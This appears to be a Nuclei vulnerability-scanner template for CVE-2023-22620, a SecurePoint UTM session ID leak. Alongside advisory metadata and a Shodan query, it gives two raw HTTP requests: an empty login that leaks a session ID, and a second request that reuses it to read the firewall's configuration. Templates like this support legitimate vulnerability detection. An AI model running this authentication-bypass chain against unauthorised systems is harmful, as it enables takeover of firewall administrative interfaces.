id: CVE-2023-22620 info: name: SecurePoint UTM 12.x Session ID Leak author: DhiyaneshDK severity: high description: | An issue was discovered in SecurePoint UTM before 12.2.5.1. The firewall's endpoint at /spcgi.cgi allows sessionid information disclosure via an invalid authentication attempt. This can afterwards be used to bypass the device's authentication and get access to the administrative interface. impact: | Successful exploitation of this vulnerability could lead to unauthorized access to sensitive information or perform actions on behalf of the user. remediation: Upgrade to version 12.2.5.1 or newer reference: - https://nvd.nist.gov/vuln/detail/CVE-2023-22620 - https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2023-22620.txt - https://www.rcesecurity.com/2023/04/securepwn-part-1-bypassing-securepoint-utms-authentication-cve-2023-22620/ - https://packetstormsecurity.com/files/171924/SecurePoint-UTM-12.x-Session-ID-Leak.html - https://rcesecurity.com classification: cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H cvss-score: 7.5 cve-id: CVE-2023-22620 cwe-id: CWE-863 epss-score: 0.06157 epss-percentile: 0.92833 cpe: cpe:2.3:o:securepoint:unified_threat_management:*:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: securepoint product: unified_threat_management shodan-query: title:"Securepoint UTM" tags: cve,cve2023,utm,leak,memory,packetstorm,securepoint http: - raw: - | POST /spcgi.cgi HTTP/1.1 Host: {{Hostname}} Accept: */* Content-Type: application/json; charset=UTF-8 Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 {"module":"auth","command":["login"],"sessionid":"","arguments":{"user":"","pass":""}} - | POST /spcgi.cgi HTTP/1.1 Host: {{Hostname}} Accept: */* Content-Type: application/json; charset=UTF-8 Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 {"module":"system","command":["config","get"],"sessionid":"{{session}}"} matchers-condition: and matchers: - type: word part: body_2 words: - '"status":"OK"' - type: word part: header_2 words: - 'application/json' extractors: - type: regex name: session group: 1 regex: - '"sessionid": "([a-z0-9]+)"' internal: true # digest: 490a004630440220534282c43668c1c17af9cf7ca5cdb4ae4bbf009790f5d229d10fbd4129fe1b34022073d7f8756dba9051bceecff5bb2af4da03f6abfd1f4becbb46f585324c435ba0:922c64590222798bb761d5b6d8e72950